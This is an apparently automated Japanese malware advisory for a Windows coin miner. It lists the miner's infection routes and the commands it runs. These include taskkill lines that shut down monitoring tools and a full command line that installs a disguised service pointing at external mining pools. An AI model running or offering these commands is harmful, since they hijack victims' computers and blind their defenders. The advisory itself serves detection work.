Coinminer.Win32.MALXMR.TIAOODDR

コインマイナーは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

侵入方法

コインマイナーは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

コインマイナーは、以下のプロセスを追加します。

• cmd /c attrib -s -h -r -a %SystemRoot%\Fonts
• cmd /c attrib +s +a %SystemRoot%\Fonts
• cmd /c taskkill /im taskmgr.exe /f /T
• cmd /c taskkill /im rundll32.exe /f /T
• cmd /c taskkill /im autoruns.exe /f /T
• cmd /c taskkill /im perfmon.exe /f /T
• cmd /c taskkill /im procexp.exe /f /T
• cmd /c taskkill /im ProcessHacker.exe /f /T
• %Fonts%\svchost.exe install SetPipAtcivator rundlls -o stratum+tcp://a.beike.website:1230 -u Google -k --max-cpu-usage=50 --donate-level=1 -r3 --print-time=5 --nicehash -o stratum+tcp://b.beike.website:1235 -u Google -k --max-cpu-usage=50 --donate-level=1 -r3 --print-time=5 --nicehash
• %Fonts%\svchost.exe set SetPipAtcivator DisplayName WMI Performance Services
• %Fonts%\svchost.exe set SetPipAtcivator Description Identify computers that are connected to the network, collect and store the properties of these networks, and notify the application when they are changed.
• %Fonts%\svchost.exe start SetPipAtcivator
• attrib -s -h -r -a %Fonts%
• attrib +s +a %Fonts%
• taskkill /im taskmgr.exe /f /T
• taskkill /im rundll32.exe /f /T
• taskkill /im autoruns.exe /f /T
• taskkill /im perfmon.exe /f /T
• taskkill /im procexp.exe /f /T
• taskkill /im ProcessHacker.exe /f /T

(註：%Fonts%フォルダは、Windowsのフォントフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)、Vista、7、８、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Window \Fonts" です。)

作成活動

コインマイナーは、以下のファイルを作成します。

• %Fonts%\rundlls.exe

(註：%Fonts%フォルダは、Windowsのフォントフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)、Vista、7、８、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Window \Fonts" です。)

このウイルス情報は、自動解析システムにより作成されました。